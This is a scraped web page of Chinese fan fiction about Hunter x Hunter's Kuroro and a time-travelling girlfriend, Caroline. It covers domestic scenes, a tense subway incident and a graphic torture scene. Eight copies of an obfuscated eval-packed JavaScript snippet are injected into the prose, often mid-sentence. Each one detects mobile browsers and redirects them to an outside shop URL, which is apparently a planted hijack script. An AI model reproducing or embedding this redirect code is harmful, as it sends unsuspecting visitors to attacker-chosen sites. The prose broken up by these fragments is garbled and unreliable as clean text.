库洛洛在她旁边坐下来。他的手臂搭在她肩膀上,手指在她后颈慢慢揉着。他的脸离她很近,近到她能看清他睫毛的弧度,他的眼睛是温柔的。 库洛洛清楚自己的脸对卡洛琳的杀伤力,清楚自己怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523344|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做能让她心软,清楚她每一个表情变化背后的含义……好吧,这个他不清楚。就像库洛洛现在就搞不懂她在想什么。他的眼睛里有困惑,很深的困惑,像一道他解不开的迷题。 “卡洛琳,”库洛洛的声音放低了,低沉的,带一点气声,“有什么不高兴的,跟我说好吗?” 就是这张脸,就是这个声音,就是用这个去骗别人念能力的。 卡洛琳别过脸:“没有不高兴。” 库洛洛的手指在她后颈停了一下。卡洛琳知道他肯定在脑子里回放刚才所有细节,从她让他试衣服开始到现在每一句话每一个表情,想找出问题出在哪里。但库洛洛找不到,因为问题出在原著漫画里,出在他还不知道卡洛琳是穿越者这件事上。他的表情很困惑,那种学霸遇到超纲题时的表情。他的眉头微微皱了一下,然后松开了,然后凑过来吻了一下她的嘴角。 卡洛琳的心情更差了。不是因为讨厌他的吻,是因为他的吻还是那么温柔,那么恰到好处,那么准确地落在她最需要被亲的地方。他明明不知道她在生什么气,但他还是本能地选择了最正确的哄人方式。 “好点了吗?”库洛洛的嘴唇移开了一厘米。 “没有。” 他亲了亲她的鼻尖。 “现在呢?” “没有。” 他亲了亲她的眉心。 “现在呢?” “库洛洛……” 卡洛琳伸手推开了他的脸,卡洛琳看着库洛洛那种被拒绝之后的小小困惑和一点点我是不是真的做错了什么的自我怀疑混在一起……卡洛琳觉得心口酸酸涩涩的。思绪乱得像一团被猫玩过的毛线。库洛洛是幻影旅团的团长,他有自己的计划和手段,她没有资格对他的工作指手画脚。旅团需要力量,念能力是力量的重要来源,盗贼的极意需要不断地填充新的能力来保持旅团的实力。 她不可能说“你别用这张脸去骗女生的念能力了”,这句话说出来,首先暴露她知道他偷念能力的事,其次暴露她知道他偷念能力的方式,最后暴露她在吃那些她根本不应该吃的醋。而且那些被库洛洛骗了能力的女生才是真的受害者。她们被他用这张脸,这个声音,这种表情欺骗,以为自己在被一个人喜欢,然后在自己最毫无防备的时候,自己的念能力被偷走了,再也拿不回来了,她们失去的是自己的一部分,甚至可能因此丧命。 她有什么资格在这里莫名其妙地闹别扭呢? “卡洛琳。” “嗯。” “我是真的不知道你在生什么气,”库洛洛的声音是前所未有的温柔,“但如果你愿意告诉我,我会认真听的。” 库洛洛看着卡洛琳,她的表情从生气变成了委屈,再从委屈变成了愧疚。这个转变他看懂了,但他不知道为什么。 “对不起嘛,”卡洛琳突然凑过去亲了亲库洛洛的嘴角。他的嘴唇是温热的,干燥的,亲上去的时候有一点点起皮的粗糙感,“是我自己心情不好,不是因为你。” “那是因为什么?”库洛洛是真的疑惑。 “因为……因为我自己想太多了,跟你没关系。”卡洛琳把脸靠在他胸口,手指抓着他卫衣的袖口,攥了一下又松开了,“你不要管我。我过一会儿就好了。” 库洛洛低下头,下巴抵着她的头顶。他依然不知道发生了什么,不知道她为什么从“用那种表情瞪他”变成“亲了他一下”,不知道那个让他被瞪了半天的罪魁祸首到底是谁。但他知道她靠在他胸口了,她的手抓着他的袖子了,她在亲完他之后没有躲开。 “好,”库洛洛的语气一如既往地温柔,“你不生气了就好。” “嗯。” 46. 写论文的库洛洛 集合地点在郊外的一栋废弃建筑里。库洛洛靠在角落的墙边,手里拿着一本砖头厚的《艺术史:从文艺复兴到后现代》,翻到“七大美色”那一章,正在看窟卢塔族火红眼的条目。他的阅读速度很快,但这一页他已经看了快十分钟了。论文要求批判火红眼作为美色的正当性,论点要清晰,论据要充分,引用格式要规范。库洛洛在笔记本上写了几个关键词:物化、他者化、殖民主义凝视下的审美暴力。 其他人各做各的事。没有人注意到团长一直看书,从流星街看到现在,从教堂看到幻影旅团。看书是库洛洛·鲁西鲁这个人的一部分,就像杀人一样。 但是侠客注意到了。他坐在窗台上,手里拿着这次抢劫计划的路线图,余光扫过库洛洛手里那本书的封面,库洛洛看得很专注认真。 侠客把目光从库洛洛身上移开,低头看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523345|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己手里的路线图。建筑物一共七层,目标在第五层,保镖人数十二到十五,其中念能力者至少三人。他在平面图上标注了监控探头的位置,笔尖很稳。只是他脑子里有一个不合时宜的念头在转 ,幻影旅团的团长,A级通缉犯,悬赏金以亿为单位计算的男人,此刻正在策划一场抢劫计划的间隙,帮他的女朋友写大学论文。 侠客觉得这大概是他见过最魔幻现实主义的事。 47. 偶然的相遇 周末的步行街人很多。卡洛琳挽着库洛洛的手臂,手里拿着一杯刚买的奶茶,正仰着头看路边橱窗里展示的一件碎花裙子。库洛洛站在她旁边,一只手插在口袋里,另一只手被她挽着,目光落在橱窗玻璃上映出的人流上。然后他看到了玛奇。 玛奇站在街对面的甜品店门口,穿着一件米白色的风衣,头发散着,正在低头看手机。她一个人,大概是在等谁,或者在等什么消息。 玛奇的存在感太强了,即使站在人群里,即使低着头,你也很难不注意到她。她长得好看是一回事,更重要的是因为她身上有一种不属于这个地方的锋利气息。 库洛洛收回了目光,自然地转过身体,把卡洛琳往另一条岔路带了一下。 “这边走走。” 库洛洛的语气和刚才说“那件裙子你穿会好看”时没有任何区别,平静的,温和的,好像他只是突然对这条岔路产生了兴趣。 但卡洛琳她回头看了一眼,就一眼,透过橱窗玻璃的反射,她看到了街对面甜品店门口那个紫色头发的女人,卡洛琳回过头没有说话。 库洛洛不想让她和玛奇打照面。这是当然的,库洛洛在保护她,她知道的。 这种保护从她离开流星街的第一天就开始了,公寓写在她名下,学校没有填紧急联系人,银行卡和旅团的资金没有任何往来。他把她的存在从他的世界里剥离得干干净净,干净到即使有人把库洛洛·鲁西鲁的人生翻个底朝天,也不会找到一个叫卡洛琳的女人。 卡洛琳喝着奶茶,跟在库洛洛身边走在那条他临时起意的岔路上。奶茶是甜的,珍珠也是Q弹的,太阳照在身上也是暖洋洋的。她的心情不是委屈,是说不清的那种。 卡洛琳把奶茶杯捏紧了一点。塑料杯壁被她捏得凹进去一块,奶茶从吸管里涌上来差点溢出来,她低头吸了一口把那个快要溢出来的危机化解了。 她走在库洛洛身边,太阳从他们身后照过来,把两个人的影子投在前面的人行道上,她的影子挨着他的影子,肩膀贴着肩膀,看起来亲密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523346|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极了。 她应该感动的,她知道。她应该觉得温暖,觉得安心,觉得被人这样小心翼翼地保护着是一种幸运。她也确实这样觉得,只是这种觉得的旁边还站着另一种觉得,如果库洛洛对她坦诚一点,她也不会离开他的。 不会因为他杀了人离开他,不会因为他是幻影旅团的团长,A级通缉犯,全世界黑暗世界闻风丧胆的盗贼头子而离开他。她早就知道他是谁,从她穿越到流星街站在安静看书的男孩面前的那一刻就知道。她知道他将来会做什么事,会成为什么人,会背上多少血债,手上沾多少洗不掉的鲜血。 她知道,她从一开始就知道。 卡洛琳最终什么都没有说出来。这些话在她喉咙里转了一圈又一圈,像那颗珍珠卡在吸管口上不上下不下,最后她用力吸了一下,“咕噜”一声咽下去了。 然后卡洛琳把空了的奶茶杯丢进路边的垃圾桶,投得很准,杯口对准桶口松手,“咚”的一声闷响。库洛洛看了她一眼,嘴角有一个极浅的弧度。 48. 好心的班长 卡里欧娜是在下课之后叫住卡洛琳的。教室里的人已经走得差不多了,卡洛琳正在往包里塞画具,铅笔盒拉链还没拉上,卡里欧娜就站到了她桌子旁边,她是班长,个子高挑,马尾扎得高高的,衬衫下摆塞进牛仔裤里,手里拿着一个写满笔记的活页本,绝对的高精力人群。 “卡洛琳,你现在方便吗?我想和你聊聊。” 卡洛琳抬起头,卡里欧娜的表情是认真的,但不像是那种要通知她什么事的样子。于是她点点头,把铅笔盒的拉链拉上了。 她们坐在教学楼外面的长椅上。阳光很好,草坪上有几只鸽子在踱步,远处有人在打羽毛球。卡里欧娜坐着的时候脊背也是挺直的,双手放在膝盖上,活页本搁在手边。 “我就直说了,我很担心你。”卡里欧娜的表情是毫不作伪的关心。 卡洛琳愣了一下:“担心我?” “你的画画天赋不高,”卡里欧娜不是在贬低,而是在陈述一个她观察了很久得出的结论,“而且你不怎么努力。作业按时交,但从来不超出要求。你只做刚好及格的那份,不多做一点。” 卡洛琳没有反驳,因为这是事实。 “你也不准备实习。其他同学都在投简历,找工作室,联系画廊,你什么都没做。”卡里欧娜顿了一下,语气里的担忧里夹杂了一丝恨铁不成钢的意味,“你也不和教授打交道。上个学期雕塑课的帕尔卡教授其实挺欣赏你的,说你的色彩感觉很好,但你从来没有去找他聊过。他带的研究生名额那么多人盯着,你连问都不问。” 卡洛琳张了张嘴,想说点什么,但卡里欧娜没有停。 “还有社交。你从来不参加系里的活动,不参加聚餐,不去看展,不加群。你连班里同学的名字都叫不全吧?” “我……” 卡里欧娜转过身看着卡洛琳,阳光落在她浅棕色的眼睛里,那里面有认真,有担忧,还有一种我本来不需要管这件事但因为看到了所以没法装作没看到的焦灼。 “卡洛琳,你这样下去是不行的。你要为自己的前途着想啊。毕业之后怎么办?简历上写什么?没有实习经历,没有教授推荐信,没有作品集,你拿什么找工作?你,不是我给你压力,”卡里欧娜深吸了一口气,声音放缓了,“而是你要对自己的人生负责啊。” 卡洛琳沉默了,因为她真的挺感动的。卡里欧娜是班长,成绩好,能力强,人脉广,她的人生是一条被精心规划好的路,每一步都踩在点上。她本来不需要管卡洛琳。她们的社交圈几乎没有交集,毕业之后大概也不会再联系。但她还是坐在这里,花了时间把她观察到的问题一条一条列出来,每个问题都切中要害。 有一个人,纯粹因为人好,在为她的前途操心。卡洛琳心里涌起一阵小小的暖流。 “谢谢你,”卡洛琳看着卡里欧娜的眼睛,认真地一个字一个字地说,“真的很谢谢你,你是好人。” 卡里欧娜的眉头没有松开:“你别光谢我,你得——” “没关系的,”卡洛琳笑了一下,有一种这话说出来是事实但也真荒谬的感觉,“别担心,我男朋友很有钱的。” 长椅上安静了一瞬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523347|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸽子在草坪上啄着什么,远处羽毛球的“啪啪”声断断续续地传过来。 卡里欧娜的表情从担忧变成了不赞同。她的嘴唇抿了一下,眉毛压低了,更加语重心长:“怎么能依赖你男朋友呢?他的钱又不是你的钱,归根结底还是要靠自己啊。” 卡洛琳的微笑没有收。她在心里想:库洛洛杀人抢劫供自己上大学这到底是什么魔幻现实主义。但她没有说这些,也没法说,只是点了点头。 卡里欧娜说得对,从任何一个正常社会的正常价值观来看,都对。卡洛琳也觉得对,只是那种对,不在她的选项里。 “你说得对,”卡洛琳笑得很温柔,好像她真的会认真考虑一样,“我会认真考虑的。” 卡里欧娜看着她的脸,似乎在判断她是不是在敷衍。但卡洛琳的脸实在是太真诚了,她的眼睛是亮的,嘴角是平的,既没有不耐烦的弧度,也没有逃避的闪躲。 好吧,她是真的在感谢卡里欧娜,也是真的不会改变任何事。这两者在她心里可以同时存在,互不干扰。 卡里欧娜叹了口气,仍然不忘叮嘱:“你心里有数就行。” 她拿起活页本站起来,走了两步又回头:“如果你需要帮忙投简历,或者想让我帮你问问哪个工作室缺人,你随时找我。总之你自己要上心。” “好。谢谢你,卡里欧娜。” “嗯。” 卡里欧娜走远了。马尾在阳光下一晃一晃的。卡洛琳坐在长椅上看着那个方向。鸽子还在草坪上踱步,羽毛球还在空中来回飞,卡洛琳决定再晒会太阳。 49. 虚惊一场 地铁进站的时候卡洛琳还在跟库洛洛说今天画室的事。车厢里人不算多,他们找了个靠门的位置坐下,卡洛琳靠在他肩膀上,手里翻着手机里拍下来的课堂作业。库洛洛低头看着她的屏幕,说这里的阴影关系不对,光源在左边,阴影不应该在这里。卡洛琳“哦”了一声,拿笔在屏幕上划了一下,库洛洛说还是不对,卡洛琳说那你帮我改,库洛洛拿过她的手机,用指腹在屏幕上慢慢描了一条线。 列车在隧道里稳稳地开着,报站的女声从喇叭里传出来,下一站是市中心。门开了,上来一些人,又下去一些人。车厢里比刚才挤了一点。一个穿着深色外套的男人走进来,背着很大的双肩包,黑色的,鼓鼓囊囊的。他站在车厢中间没有去拉吊环,双脚分开,像在稳住自己。库洛洛在描那条阴影线,目光从手机屏幕上抬起来看了那个人一眼。很短的一眼,不到半秒,然后继续低头描线。他的手指没有停顿,指腹从屏幕左侧划到右侧,画出了一条完整的干净的弧线。 “你看,这样是不是好一点。”库洛洛把手机递回给卡洛琳。 卡洛琳接过去看了看,点点头。她正要把手机收起来,库洛洛的手按住了她的手腕。不是平常那种温热的带着手指画圈的触碰,他的手指扣住了她的腕骨,力度大到她的手指麻了一下。 “库洛洛?” 库洛洛没有回答。他的目光越过她的肩膀落在车厢中部的那个男人身上。他的表情没有变化,呼吸没有变化,但他扣着她手腕的手指又紧了一点。卡洛琳顺着他的目光看过去,只看到一个穿着深色外套的普通男人,背着双肩包,站在车厢中间,微微低着头。然后她看到他的一只手插在口袋里,在动。不是那种无意识的摸口袋的动作,是那种在找什么,在确认什么手指,已经扣上了某个开关或某根拉环的动。 “库洛洛——” 库洛洛的另一只手抬起来,扣住了她的后脑勺。他的手指插进她的头发里,掌根抵着她的颞骨。他的动作太快了,快到她没有时间反应。然后他的拇指按上了她颈侧的某个位置。一阵剧烈的眩晕从卡洛琳的大脑深处炸开,像有人在她脑子里点了一颗闪光弹。她的眼前白了一瞬,然后什么都看不见了。她的身体软了下去,库洛洛接住了她,把她的头靠在自己肩膀上,看起来就像一个男朋友搂着睡着了的女朋友。 列车在隧道里继续开着。有人在下车,有人在上车。那个穿着深色外套的男人还站在车厢中间,他的手从口袋里抽出来了,手里握着什么东西,黑色的,方形的,上面有一个红色的按钮。车厢里的其他人都没注意到,或者注意到了但来不及反应。 库洛洛没有动,他一只手搂着卡洛琳,让她靠在他肩上睡得安稳,另一只手放在膝盖上,手指微微蜷着。他看着那个男人手里的黑色方形物体,面无表情,瞳孔里没有任何波动。库洛洛在等,等那个人按下按钮,或者不按。 如果按了,他会在一秒钟之内判断爆炸的当量和方向,用念能力挡住卡洛琳,然后趁着混乱离开。 如果没有按,他会等列车到站,等警察来,等这件事结束。他不会先动手,因为这里人太多,因为卡洛琳在他怀里,因为他的身份不允许他在公共场所留下任何可以被追踪的痕迹。但他动手的速度不会比警察慢。 列车减速了。下一站的灯光从车窗照进来,白色的,刺眼的。那个男人抬起头看了看站名,没有下车。他把那个黑色方形物体重新塞回口袋里,拉上了外套拉链。车门开了,几个穿制服的人走了进来,不是警察,是地铁工作人员。他们朝那个男人走过去,动作很轻,很小心,像接近一只随时会炸的动物。 库洛洛看着他们把他带走,过程不重要,总之是把人带走了。他的手从卡洛琳的头发里抽出来,落在她的肩膀上,轻轻拍了拍。她还没有醒,呼吸很浅,眉头微微皱着,像在做梦。 列车重新启动了,下一站是他们的目的地。 库洛洛把卡洛琳从肩膀上扶起来,让她靠在自己怀里,手指拨开她额前的碎发。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523348|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “卡洛琳。”库洛洛轻声叫她。 她的睫毛颤了一下。 “卡洛琳,到了。” 她的眼皮动了几下,像在很深的梦里挣扎着往上浮。然后她的眼睛慢慢睁开了。她的瞳孔是散的,没有焦距,像一台刚启动的相机在寻找对焦点。她的嘴唇动了一下,发出一个很轻的含混的音节。库洛洛的拇指按在她颧骨下方的那一小片皮肤上,轻轻地揉着帮她从昏沉里醒过来。 “你刚才——”卡洛琳的声音沙哑,脑子里有什么东西在搅,钝钝的疼。 “你睡着了。” “我没有……你打了我。” “你太困了。” “库洛洛。” “嗯。” 卡洛琳从他的怀里坐直了身体。车厢里已经恢复了正常,有人在看手机,有人在听歌,有人在聊天。那个穿深色外套的男人不在了,地铁工作人员也不在了。一切就像没有发生过。她揉了揉自己的脖子,那里隐隐作痛,是库洛洛拇指按过的位置。她看着他,库洛洛的表情很平静,平静到像刚才什么都没有发生过。卡洛琳看着他的手,他的手指修长,骨节分明,指甲修得整整齐齐。他的手上没有任何痕迹,没有茧,没有伤疤,没有血,现在没有。 “到站了。”库洛洛站起来,伸出手。 卡洛琳看着那只手,犹豫了片刻,把手放了上去。他的手指扣进她的指缝里,握紧了。车门开了,他们走出车厢,走上站台。身后列车关门的提示音响了,然后列车开走了,带走了那个男人的存在,也带走了刚才那几分钟里所有的可能性。 卡洛琳跟着库洛洛走出地铁站,阳光刺得她眯了眯眼。她的手还被他牵着,他的手很暖,和他打晕她之前一样的暖。她还没有完全从那一掌的眩晕里恢复,走路的时候觉得地面有点软,像踩在棉花上,但她没有让库洛洛知道。她把肩膀挺直了,步子迈大了,看起来就像任何一个普通的和男朋友一起出地铁站的女孩子。她决定不问刚才的事。 50. 侠客,你在想什么 审讯室里的灯是白的,惨白,照得墙上的血迹发黑。侠客把最后一颗指甲放在托盘里,和前面九颗排在一起。指甲是从右手开始的,拇指,食指,中指,无名指,小指,然后是左手。每一颗都完整,连根拔起,没有一颗断掉。他做事一向仔细。 托盘里的指甲沾着血,在白色的瓷面上显得格外刺目。侠客盯着它们出神地看了一会儿。 完成了,人已经晕过去了,或者说死过去了,他不确定,也不在乎。 指甲拔到第三颗的时候对方开始求饶,第五颗的时候对方开始骂他,第七颗的时候对方已经不说话了。 侠客觉得这个过程确实挺解压的,但此时此刻他看着托盘里那十颗沾血的指甲,忽然觉得很空。 “就这样吗?”侠客笑着转过头,飞坦靠在墙上,双手插在口袋里,金色的眼睛在惨白的灯光下显得格外浅。 “有话直说。”飞坦的声音一如既往地冰冷。 侠客摘下沾血的手套,丢进垃圾桶里。他走到洗手池边,打开水龙头,把手伸到水流下面。水是凉的,冲掉了他指缝间的血。他看着红色的水打着旋流进下水道,越来越淡,越来越淡,最后变成透明的。他关掉水龙头,甩了甩手上的水珠,转过身,靠在洗手池边,双手撑着台面。 侠客笑了一下,那个笑容是他最擅长的那种,轻松的,随意的,像个阳光开朗的大学生。 “因为不杀人不制造恐怖的事件就无法让外界的人畏惧流星街,”侠客摸著下巴,平静地陈述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523349|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“然后我们做好觉悟去做这些事,也随时打算付出自己的生命。就这样活着啊。” 飞坦的眼睛微微眯起来,那道金色的光从缝隙里透出来,冷得像刀锋。 “侠客,你到底想说什么?”飞坦的语气也冰冷地像刀锋,但底下却带着一种黏稠的危险的像岩浆在火山口底下翻滚的威胁感,“还是说……” 他没有说完,但后面的内容侠客听得懂。 还是说你想说你后悔了? “没什么没什么,”侠客笑着打断他,摆了摆手,从洗手池边直起身,拍了拍裤子上的褶皱,“我只是感慨一下。放心好了,我从来都没有后悔过。” 飞坦没有动,还靠在墙上,他的气息慢慢从危险降回了平时的冷淡。 51. 她的觉悟 暴雨从昨夜开始就没停过。卡洛琳是被雷声吵醒的,迷迷糊糊睁开眼,窗帘缝隙里透进来的光是灰白色的,分不清是早晨还是下午。她翻了个身,手臂搭在旁边,摸到了温热的皮肤,就往那边蹭了过去。 库洛洛早就醒了,靠在床头,一只手拿着书,另一只手被她压着,没有抽开。卡洛琳把脸埋进他的腰侧,鼻尖蹭着他睡衣的布料,像一只找到了窝的猫,拱了拱,找了个舒服的位置就不动了。 “醒了?”库洛洛的声音从头顶传下来,带着晨起的低哑。 “嗯。”卡洛琳迷迷糊糊地应了一声。 库洛洛翻了一页书。卡洛琳听到纸张翻动的声音,听到雨打在玻璃上的声音,听到库洛洛胸腔里稳定的心跳声。这三种声音混在一起,变成一种让人什么都不想想的白噪音。卡洛琳把被子往上拉了拉,盖住自己的肩膀,手指无意识地从他腰侧滑到他的腹部,在那里慢慢画圈。他的腹肌在她指尖下绷了一下又松了。 “今天不出门?” “嗯。” “雨太大了。” “嗯。” “那你也不走?” 库洛洛的手指从书页上移开,落在她的头发上,从头顶梳到发尾,慢慢地,一遍又一遍。 “不走,陪你。” 卡洛琳把脸从他腰侧抬起来,换了个姿势,把脑袋枕在他的腿上,仰面看着他。从下往上看,他的下巴线条还是那么好看,睫毛还是那么长,只是嘴唇有一点点干。她伸出手指戳了戳他的下巴。库洛洛低头看她,他放下书,手指从她的头发滑到她的脸颊,拇指擦过她的颧骨。 “怎么了?” “没怎么,就是想看看你。” 库洛洛的嘴角弯了一下。他把书放到床头柜上,整个人往下滑了滑,变成和她平躺的姿势,把她捞进怀里。她的脸贴着他的胸口,他的下巴抵着她的头顶,被子把两个人裹在一起。雨声很大,大到像是整个世界都被泡在水里。但这个小小的被被子包裹起来的空间是干燥的温暖的安静的。 卡洛琳的手指在他胸口慢慢画着圈。她想起刚才那个问题,今天有什么非做不可的事吗?没有。没有任何一件如果今天不做就会出问题的事情。冰箱里有吃的,洗衣篮里没有积攒的衣服,画册看完了可以再看一遍。 她没有任何非完成不可的执念,没有任何一定要做到的事情,没有任何做不到就完蛋了的 ddl。有时候卡洛琳也会想,这样是不是太堕落了。但她又觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523350|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,堕落也需要有人兜底。库洛洛不会让她的生活垮掉,就像他不会让她生病没人管,没钱花,没地方住一样。 卡洛琳的手指在他胸口画圈的节奏慢了下来。她的眼皮变重了,雨声从清晰变得模糊,像有人在慢慢调低世界的音量。库洛洛的体温把她裹住,让人觉得很安心。 卡洛琳闭上眼睛。她的嘴唇贴着他胸口的皮肤,在那里落了一个很轻很轻的吻。库洛洛的手在她后背停了一下,然后继续慢慢地一下一下地拍着。 “困了?” “嗯。” “睡吧。” “嗯。” 卡洛琳在他怀里慢慢放松了身体,像一块冰在温水里一点一点地融化。她的手指不再画圈了,只是平放在他的胸口,掌心贴着他的心跳。他的心跳很稳,一下一下的,像很远的地方在敲鼓,那鼓声是为她敲的。 她在他怀里想,库洛洛最好了。从六岁到现在,这句话她说过无数次。但这一次她没有说出口。她把这句话咽下去,和那些她决定不再问的问题放在一起,和那些她决定不想的事情放在一起,和她对他的所有说不出口的理不清的复杂的感情放在一起,都咽下去了。 因为自己已经知道应该做什么了。 52.昔我往矣 河边的柳枝刚抽新芽。卡洛琳走在前面,手指从垂落的柳条间穿过去,指尖触到那些嫩绿色的毛茸茸的芽苞。 侠客跟在她身后半步,双手插在口袋里,金发被风吹起来又落下。他们沿着河岸走了很长一段路,谁都没有说话。 卡洛琳停下脚步的时候,侠客也跟着停了。她转过身看着侠客,表情和平时不一样,没有笑,也没有那种被库洛洛养出来的松弛和柔软。她的眉头微微蹙着,嘴唇抿了一下又松开。 “侠客,你确定窟卢塔族被屠杀不是旅团干的?” 侠客觉得如果他现在说一句“是旅团干的”,她眼里的某种东西会碎掉,居然有点想看到那一幕呢。 风把柳枝吹到他们之间,侠客伸手把柳枝拨开,笑得一如既往地纯良无辜:“当然不是。” 卡洛琳盯着侠客,好像在确认他有没有说谎,这件事重要到即使知道侠客没理由说话也忍不住下意识地再三确认。 侠客没有躲,也没有必要躲。 卡洛琳松了一口气,一种很安静的从肩膀开始往下沉的那种松逐渐蔓延全身。但同时又有另一种心情升起,于是她没说什么,只是转过身继续往前走。侠客跟上去,两个人沿着河边慢慢走。 初春的新发柳枝在他们头顶轻轻晃着。 “要紧吗?”侠客打破了平静,事关旅团他不可能不在意。 卡洛琳沉默地摇摇头,她的声音变得很飘忽,像在自言自语。 “只要不是旅团动手的就好,七大美色的概念已经根深蒂固了,不是几个教授在课堂上批判几句就能改变的。审美这种东西,几百上千年才能形成,不是谁有能力以一己之力去扭转的。我也没有才华横溢到那个地步。” “所以有些事情,”卡洛琳看着河面,水光在她脸上晃动,明明灭灭的,“……还是不可避免。” 侠客比卡洛琳更知道这个道理。旅团可以放过窟卢塔族,但火红眼的价格还在那里,七大美色的排名还在那里,那些变态收藏家不会因为旅团不动手就不买了。 比起这个,侠客更在意的是另一件事。 “要不你干脆加入旅团好了,”侠客的语气听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524128|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很轻松,带着笑,像在开玩笑。“反正你也能接受了吧。” “如果库洛洛这么对我说,那我一定会答应。”卡洛琳的声音还是很轻,但却有一种比刚才更惆怅的感觉。 侠客的的笑容还挂在脸上,标准的完美的,连嘴角的弧度都和几秒钟前一模一样。但他的喉咙里有什么东西堵住了,咽不下去也吐不出来。他低下头,用脚尖拨了一下河岸边的石子,石子滚进水里,扑通一声,涟漪一圈一圈地荡开。 库洛洛什么都不知道。 侠客有些尖锐地想着。 他以为卡洛琳爱的是他温和的表象,那个会在厨房切菜的库洛洛,会陪她看恐怖片提前剧透结局的库洛洛,会把她抱在怀里说你对我很重要的库洛洛…… 他不知道卡洛琳什么都知道。知道他杀过人,知道他还会继续杀人,知道他手上沾着永远洗不掉的血。知道旅团是什么,知道那些她假装不知道的事情。 卡洛琳都知道,但她还是坚定地选择了库洛洛。 库洛洛被如此认真地爱着,而他根本什么都不知道。 53.偷得浮生半日闲 阳光落在身上是那种晒久了会让人想睡觉的暖。卡洛琳把椅子搬到甜品店门口,面朝街面坐下来,手里捧着一杯卡布奇诺,奶泡上撒了薄薄一层肉桂粉。她喝了一口,嘴唇上沾了一圈奶沫,然后伸出舌尖舔掉了。 